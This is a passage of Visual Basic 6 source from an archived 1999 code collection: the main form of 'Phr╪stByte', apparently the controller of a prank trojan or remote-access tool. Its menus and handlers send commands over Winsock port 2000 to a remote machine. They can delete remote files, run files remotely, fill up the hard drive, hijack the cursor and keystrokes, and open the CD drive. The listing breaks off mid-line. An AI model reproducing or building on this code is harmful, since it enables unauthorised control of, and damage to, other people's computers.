home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / automa_1 / frmmain.frm < prev    next >
Text File  |  1999-08-23  |  12KB  |  436 lines

  1. VERSION 5.00
  2. Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"
  3. Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
  4. Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
  5. Begin VB.Form frmMain 
  6.    BorderStyle     =   1  'Fixed Single
  7.    Caption         =   "Phr╪stByte BY: Phantom "
  8.    ClientHeight    =   4470
  9.    ClientLeft      =   150
  10.    ClientTop       =   435
  11.    ClientWidth     =   7500
  12.    Icon            =   "frmMain.frx":0000
  13.    LinkTopic       =   "Form1"
  14.    MaxButton       =   0   'False
  15.    Picture         =   "frmMain.frx":030A
  16.    ScaleHeight     =   4470
  17.    ScaleWidth      =   7500
  18.    Begin VB.Timer Timer2 
  19.       Enabled         =   0   'False
  20.       Interval        =   1000
  21.       Left            =   2880
  22.       Top             =   840
  23.    End
  24.    Begin MSComDlg.CommonDialog cd 
  25.       Left            =   3720
  26.       Top             =   960
  27.       _ExtentX        =   847
  28.       _ExtentY        =   847
  29.       _Version        =   393216
  30.    End
  31.    Begin VB.Timer Timer1 
  32.       Enabled         =   0   'False
  33.       Interval        =   1000
  34.       Left            =   4440
  35.       Top             =   600
  36.    End
  37.    Begin MSWinsockLib.Winsock win 
  38.       Left            =   2000
  39.       Top             =   720
  40.       _ExtentX        =   741
  41.       _ExtentY        =   741
  42.       _Version        =   393216
  43.       Protocol        =   1
  44.       RemotePort      =   2000
  45.    End
  46.    Begin VB.Frame Frame1 
  47.       BackColor       =   &H00400000&
  48.       Caption         =   "Local In Program Log (Is not saved to a file)"
  49.       ForeColor       =   &H0000FF00&
  50.       Height          =   2655
  51.       Left            =   120
  52.       TabIndex        =   0
  53.       Top             =   1560
  54.       Width           =   7215
  55.       Begin RichTextLib.RichTextBox rt 
  56.          Height          =   2295
  57.          Left            =   120
  58.          TabIndex        =   1
  59.          Top             =   240
  60.          Width           =   6975
  61.          _ExtentX        =   12303
  62.          _ExtentY        =   4048
  63.          _Version        =   393217
  64.          BackColor       =   4210752
  65.          Enabled         =   -1  'True
  66.          ReadOnly        =   -1  'True
  67.          ScrollBars      =   3
  68.          DisableNoScroll =   -1  'True
  69.          TextRTF         =   $"frmMain.frx":980E
  70.          BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
  71.             Name            =   "Arial"
  72.             Size            =   8.25
  73.             Charset         =   0
  74.             Weight          =   700
  75.             Underline       =   0   'False
  76.             Italic          =   0   'False
  77.             Strikethrough   =   0   'False
  78.          EndProperty
  79.       End
  80.    End
  81.    Begin VB.Menu file 
  82.       Caption         =   "&File"
  83.       Begin VB.Menu connection 
  84.          Caption         =   "&Make Connection"
  85.          Shortcut        =   ^N
  86.       End
  87.       Begin VB.Menu log 
  88.          Caption         =   "&Start Logging Connection"
  89.       End
  90.       Begin VB.Menu bar0 
  91.          Caption         =   "-"
  92.       End
  93.       Begin VB.Menu openlogfile 
  94.          Caption         =   "&Open Log File"
  95.          Shortcut        =   ^O
  96.       End
  97.       Begin VB.Menu bar1 
  98.          Caption         =   "-"
  99.       End
  100.       Begin VB.Menu phrostnet 
  101.          Caption         =   "Open &Phr╪stNet"
  102.       End
  103.       Begin VB.Menu options 
  104.          Caption         =   "&Phr╪stByte Options"
  105.       End
  106.       Begin VB.Menu bar2 
  107.          Caption         =   "-"
  108.       End
  109.       Begin VB.Menu exit 
  110.          Caption         =   "&Exit "
  111.       End
  112.    End
  113.    Begin VB.Menu tools 
  114.       Caption         =   "&Tools"
  115.       Begin VB.Menu fun 
  116.          Caption         =   "Fun Stuff"
  117.          Begin VB.Menu control 
  118.             Caption         =   "Control Cursor Position"
  119.          End
  120.          Begin VB.Menu randommouse 
  121.             Caption         =   "Random Cursor Position"
  122.          End
  123.          Begin VB.Menu setmouse 
  124.             Caption         =   "Set Cursor Position"
  125.          End
  126.          Begin VB.Menu bar4 
  127.             Caption         =   "-"
  128.          End
  129.          Begin VB.Menu changebackground 
  130.             Caption         =   "Change Remote Background"
  131.          End
  132.          Begin VB.Menu changescreensave 
  133.             Caption         =   "Start Remote Screensaver"
  134.          End
  135.          Begin VB.Menu bar8 
  136.             Caption         =   "-"
  137.          End
  138.          Begin VB.Menu sendkey 
  139.             Caption         =   "Sendkey "
  140.          End
  141.       End
  142.       Begin VB.Menu fileanddirectory 
  143.          Caption         =   "&File And Directory"
  144.          Begin VB.Menu FillHd 
  145.             Caption         =   "Fill Up Hard Drive"
  146.          End
  147.          Begin VB.Menu bar21 
  148.             Caption         =   "-"
  149.          End
  150.          Begin VB.Menu runremoteremote 
  151.             Caption         =   "Run Remote File Remotely"
  152.          End
  153.          Begin VB.Menu runremotelocal 
  154.             Caption         =   "Run Remote File Localy"
  155.          End
  156.          Begin VB.Menu runlocalremote 
  157.             Caption         =   "Run Local File Remotely"
  158.          End
  159.          Begin VB.Menu bar22 
  160.             Caption         =   "-"
  161.          End
  162.          Begin VB.Menu deletefile 
  163.             Caption         =   "Delete Remote File"
  164.          End
  165.       End
  166.       Begin VB.Menu web 
  167.          Caption         =   "Web Stuff"
  168.          Begin VB.Menu open 
  169.             Caption         =   "Open Browser"
  170.          End
  171.          Begin VB.Menu randomsite 
  172.             Caption         =   "Send Browser To Random Site"
  173.          End
  174.       End
  175.       Begin VB.Menu music 
  176.          Caption         =   "Musical Anarchy"
  177.          Begin VB.Menu piano 
  178.             Caption         =   "Play Beeps"
  179.          End
  180.          Begin VB.Menu bar11 
  181.             Caption         =   "-"
  182.          End
  183.          Begin VB.Menu opencd 
  184.             Caption         =   "Open CD-Rom"
  185.          End
  186.          Begin VB.Menu closecd 
  187.             Caption         =   "Close CD-Rom"
  188.          End
  189.       End
  190.    End
  191.    Begin VB.Menu help 
  192.       Caption         =   "&Help"
  193.       Begin VB.Menu contents 
  194.          Caption         =   "&Contents"
  195.          Shortcut        =   {F1}
  196.       End
  197.       Begin VB.Menu index 
  198.          Caption         =   "&Index"
  199.       End
  200.       Begin VB.Menu bar9 
  201.          Caption         =   "-"
  202.       End
  203.       Begin VB.Menu about 
  204.          Caption         =   "&About"
  205.       End
  206.    End
  207. End
  208. Attribute VB_Name = "frmMain"
  209. Attribute VB_GlobalNameSpace = False
  210. Attribute VB_Creatable = False
  211. Attribute VB_PredeclaredId = True
  212. Attribute VB_Exposed = False
  213. Dim mbf As String
  214. Private Sub about_Click()
  215. Load frmABout
  216. frmABout.Visible = True
  217. End Sub
  218.  
  219. Private Sub changebackground_Click()
  220. On Error Resume Next
  221. mb = InputBox("Enter the location of the bitmap file you wish to use as wallpaper", "Change Remote Wallpaper")
  222. win.SendData "cwp " & mb
  223. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  224. End Sub
  225.  
  226. Private Sub changescreensave_Click()
  227. On Error Resume Next
  228. win.SendData "sss"
  229. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  230. End Sub
  231.  
  232. Private Sub closecd_Click()
  233. On Error Resume Next
  234. win.SendData "ccd"
  235. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  236.  
  237. End Sub
  238.  
  239. Private Sub connection_Click()
  240. frmConnect.Show
  241. End Sub
  242.  
  243. Private Sub control_Click()
  244. If control.Checked = False Then
  245. control.Checked = True
  246. Timer1.Enabled = True
  247. Else
  248. Timer1.Enabled = False
  249. control.Checked = False
  250. End If
  251. End Sub
  252.  
  253. Private Sub deletefile_Click()
  254. On Error Resume Next
  255. mb = InputBox("Enter the filename you wish to delete", "Delete A File")
  256. win.SendData "del " & mb
  257. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  258. End Sub
  259.  
  260. Private Sub exit_Click()
  261. Unload frmABout
  262. Unload frmConnect
  263. Unload frmMain
  264. Unload frmOptions
  265. Unload frmWeb
  266. Unload Splash
  267. End
  268. End Sub
  269.  
  270. Private Sub file_